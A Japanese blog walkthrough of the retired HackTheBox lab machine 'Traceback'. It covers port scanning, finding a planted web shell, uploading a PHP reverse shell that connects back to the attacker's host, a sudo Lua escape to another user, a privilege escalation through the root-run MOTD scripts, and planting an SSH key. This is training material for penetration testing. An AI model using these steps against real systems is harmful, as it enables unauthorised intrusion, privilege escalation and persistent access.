LoginSignup
3
3

More than 3 years have passed since last update.

【HackTheBox】Traceback - Walkthrough -

Last updated at Posted at 2020-08-17

本稿では、Hack The Boxにて提供されている Retired Machines の「Traceback」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

Traceback.jpeg

エグゼクティブサマリー

戦術(Tactic)

戦法(Technique)

ID テクニック 説明
T1046 ネットワークサービススキャン(Network Service Scanning) nmapによるポートスキャンの実行
T1083 ファイルとディレクトリの検出 ffufによる攻撃の足がかりになりそうなファイルやフォルダの探索
T1100 サーバーソフトウェアコンポーネント: Webシェル 「SmEvK_PaThAn Shell v3」を経由した「php-reverse-shell」の設置
T1548.003 Sudo と Sudo Caching 「Luvit」による「sysadmin」権限の維持
T1546 イベントによってトリガーされる実行 「motd」による「root」権限による任意のコマンド実行

ツール

  • nmap
  • ffuf
  • SmEvK_PaThAn Shell v3
  • php-reverse-shell
  • .bash_history
  • sudo lua -e 'os.execute("/bin/sh")'
  • python3 -c 'import pty; pty.spawn("/bin/bash")'
  • GTFOBins
  • LinPEAS
  • pspy
  • /etc/update-motd.d/
  • ssh-keygen

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.181traceback.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -sC -sV -p- -T4 -oA nmap traceback.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-20 01:22 EDT
Warning: 10.10.10.181 giving up on port because retransmission cap hit (6).
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.17s latency).
Not shown: 65490 closed ports, 43 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 844.59 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.4.29 ((Ubuntu))

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。

Firefox.png

HTMLソースを確認したところ、web shellが仕掛けられていることが判明しました。

index.html
<body>
    <center>
        <h1>This site has been owned</h1>
        <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
        <h3> - Xh4H - </h3>
        <!--Some of the best web shells that you might need ;)-->
    </center>
</body>

公開情報の調査

Xh4Hのアカウント名から次のTweetを見つけることができました。
Tweet.png

Tweetから誘導されるGitHubリポジトリはこちら。
GitHub.png

ファジング

Web ShellのGitHubリポジトリを取得し、ファイル名のリストをワードリストshell.listとして保存します。

kali@kali:~$ git clone https://github.com/Xh4H/Web-Shells.git
Cloning into 'Web-Shells'...
remote: Enumerating objects: 68, done.
remote: Total 68 (delta 0), reused 0 (delta 0), pack-reused 68
Unpacking objects: 100% (68/68), 1.85 MiB | 362.00 KiB/s, done.
kali@kali:~$ ls -1 Web-Shells/ > shell.list
kali@kali:~$ cat shell.list 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punkholic.php
punk-nopass.php
r57.php
README.md
smevk.php
wso2.8.5.php

攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。先ほど作成したワードリストshell.listffufコマンドにて使用します。

kali@kali:~$ ffuf -c -w shell.list -u http://traceback.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://traceback.htb/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

smevk.php               [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [17/17] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

ffufコマンドにて特定されたsmevk.phpにアクセスします。「SmEvK_PaThAn Shell V3」というweb shellのログイン画面にアクセスすることができました。

http://traceback.htb/smevk.php

webshell_login.png

アクセス権の取得

「SmEvK_PaThAn Shell v3」のGitHubリポジトリを確認します。初期設定のアカウントはadmin:adminです。

smevk.php
<?php 
/*

SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
https://www.facebook.com/smevkpathan
smevkpathan@gmail.com
Edit Shell according to your choice.
Domain read bypass.
Enjoy!

*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.
#-------------------------------------------------------------------------------

admin:adminにてログインに成功しました。
webshell_smevk.png

webshellの[Code Injector]メニューを選択します。pentestmonkeyphp-reverse-shellを仕掛けます。

事前にphp-reverse-shell.phpソースコードを編集し、$ipの値を攻撃端末(Kali)のIPアドレスに変更しておきます。

php_reverse_shell.png

ここでは、[File Name & Type :]の値としてshell.phpを指定しています。

webshell_code_inject.png

Kali上でのリバースシェルの操作性を向上させるため、rlwrapをインストールします。これにより、readline対応を実現し、行編集機能を追加することができます。

kali@kali:~$ sudo apt-get install rlwrap

kali上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。

kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...

攻撃端末側のncがアクティブな状態で、次のURLに接続します。

http://traceback.htb/shell.php

URLが実行されると、セッションが開始されます。

kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from traceback.htb [10.10.10.181] 52400
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 18:06:45 up  9:19,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$ 

php-reverse-shell.phpの実行が成功した場合、webadmin権限のシェルを確立させることができます。

$ whoami && id
webadmin
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

システム探索

webadmin/home/webadminディレクトリにはuser.txtフラグはありません。

$ cd /home/webadmin
$ ls -al
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Jul 20 16:05 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin 2149 Jul 20 16:56 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Jul 20 15:07 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
-rw-rw-rw- 1 webadmin webadmin   22 Jul 20 16:05 privsec.lua

代わりに、note.txtが配置されています。今後の権限昇格に役立ちそうな情報が記載されていることが確認出来ます。

webadmin@traceback:~$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$ 

Luaスクリプトの練習をするためにツールを残しました。
どこにあるか、きっとご存知でしょう。
質問があれば私に連絡してください。

ツールの在処を探るべく、.bash_historyの履歴を確認します。

$ cd /home/webadmin
$ pwd
/home/webadmin
$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua 
rm privesc.lua
logout

sudo -lコマンドで確認したところ、webadminユーザーは、パスワード無しでsysadminとして/home/sysadmin/luvitツール(Luvit)を実行することができます。

webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

ユーザーシェルの取得

GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「Lua - Sudo」の項目を参照します。

GTFOBins.png

この情報を参考に、次のコマンド構文を試行してみます。

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
sh: turning off NDELAY mode

sysadmin権限のシェルを確立させることができます。

whoami && id
sysadmin
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

シェルのアップグレード

操作性を高めるため、シェルをアップグレードします。

python3 -c 'import pty; pty.spawn("/bin/bash")'
sysadmin@traceback:/$

システム探索

sysadmin/home/sysadminディレクトリの内容を確認します。

sysadmin@traceback:/$ cd
cd
sysadmin@traceback:~$ ls -al
ls -al
total 4336
drwxr-x--- 5 sysadmin sysadmin    4096 Mar 16 03:53 .
drwxr-xr-x 4 root     root        4096 Aug 25  2019 ..
-rw------- 1 sysadmin sysadmin       6 Aug 16 07:19 .bash_history
-rw-r--r-- 1 sysadmin sysadmin     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin    3771 Apr  4  2018 .bashrc
drwx------ 2 sysadmin sysadmin    4096 Aug 25  2019 .cache
drwxrwxr-x 3 sysadmin sysadmin    4096 Aug 24  2019 .local
-rw-r--r-- 1 sysadmin sysadmin     807 Apr  4  2018 .profile
drwxr-xr-x 2 root     root        4096 Aug 25  2019 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24  2019 luvit
-rw------- 1 sysadmin sysadmin      33 Aug 16 06:15 user.txt

user.txtフラグを取得します。

sysadmin@traceback:~$ cat user.txt
cat user.txt
9466{BLOCKED}6c00

特権昇格

システム探索

LinPEAS - Linux Privilege Escalation Awesome Script」ツールを使ってシステム探索を行います。

sysadmin@traceback:/home/webadmin$ cd /tmp
sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/linpeas.sh
sysadmin@traceback:/tmp$ chmod +x linpeas.sh
sysadmin@traceback:/tmp$ ./linpeas.sh

linpeas.png

Modified interesting files in the last 5mins (limit 100)項目として、/etc/update-motd.d/が列挙されました。

[+] Modified interesting files in the last 5mins (limit 100)
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
/home/sysadmin/.bash_history

スクリーンショット 2020-08-17 13.43.37.png

また、Interesting GROUP writable files (not in Home) (max 500)項目として、/etc/update-motd.d/が列挙されました。
linpease_result.png

同様に、「pspy - unprivileged Linux process snooping」ツールを使ってシステム探索を行います。

sysadmin@traceback:/tmp$ wget http://10.10.14.13:8081/pspy64
sysadmin@traceback:/tmp$ chmod +x pspy64
sysadmin@traceback:/tmp$ ./pspy64

pspy.png

毎分ごとにcron/etc/update-motd.d/の内容を復元(初期化、クリーンナップ)しています。

2020/08/16 21:29:01 CMD: UID=0    PID=41216  | sleep 30 
2020/08/16 21:29:01 CMD: UID=0    PID=41215  | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/08/16 21:29:01 CMD: UID=0    PID=41214  | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/08/16 21:29:01 CMD: UID=0    PID=41213  | /usr/sbin/CRON -f 
2020/08/16 21:29:01 CMD: UID=0    PID=41212  | /usr/sbin/CRON -f 
2020/08/16 21:29:31 CMD: UID=0    PID=41218  | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/                                  
2

CRON.png

ps -auxコマンドでも同様の傾向を確認することができます。

sysadmin@traceback:~$ ps -aux
ps -aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
.
root      55185  0.0  0.0   4628   784 ?        Ss   18:28   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
.

MOTD (message of the day)

/etc/update-motd.d/ディレクトリの内容について確認します。sysadminグループにて書き込むことが可能です。

sysadmin@traceback:~$ ls -la /etc/update-motd.d/
ls -la /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Aug 16 07:42 00-header
-rwxrwxr-x  1 root sysadmin  982 Aug 16 07:42 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Aug 16 07:42 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Aug 16 07:42 80-esm
-rwxrwxr-x  1 root sysadmin  299 Aug 16 07:42 91-release-upgrade

これらは、ユーザーがtraceback.htbにログインするたびにroot権限で実行し、メッセージを表示させることができるファイルです。
このうち00-headerを確認しました。次のシェルスクリプトとして構成されています。

sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release


echo "\nWelcome to Xh4H land \n"

そこで、echo "cat /root/root.txt"コマンド構文を00-headerスクリプトの末尾に追加します。
これにより、root権限にてcatコマンドが実行されます。

sysadmin@traceback:~$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
<cat /root/root.txt" >> /etc/update-motd.d/00-header

SSHキーの書き込み

kaliからSSHで接続できるように、webadminユーザーのauthorized_keysファイルを上書きします。

まず、kali上でssh-keygenを実行します。

kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
/home/kali/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mmvM6lGPxIYSThZcLyDf3cUIhSqopVR35y7jA9/IRTY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|..o.. .+.o.      |
| o.= +.o.o.      |
| .* +.+ +        |
|.=o..+   E       |
|ooo.. = S .      |
|o  . = B o       |
|    .oO B        |
|     .+B .       |
|   .oo. .        |
+----[SHA256]-----+

kali上で生成したid_rsa.pubの内容を確認します。

kali@kali:~$ cat /home/kali/.ssh/id_rsa.pub
ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali

「SmEvK_PaThAn Shell v3」を使って、次のコマンド構文を実行します。

echo "ssh-rsa AAAAB3N{BLOCKED}cSG5HUs= kali@kali" >> /home/webadmin/.ssh/authorized_keys

websell_exec.png

SSH接続の確立

webadminアカウントでtraceback.htbにSSH接続します。

00-headerスクリプトの内容は毎分ごとに、クリーンナップされます。このため、SSH接続を行う直前にecho "cat /root/root.txt" >> /etc/update-motd.d/00-headerコマンド構文を実行する必要があります。

00-headerスクリプトに書き込んだコマンド構文の効果により、root.txtフラグの内容を確認することができます。

root flag.png

参考情報

類似マシン

MOTD

Walkthrough

その他

3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3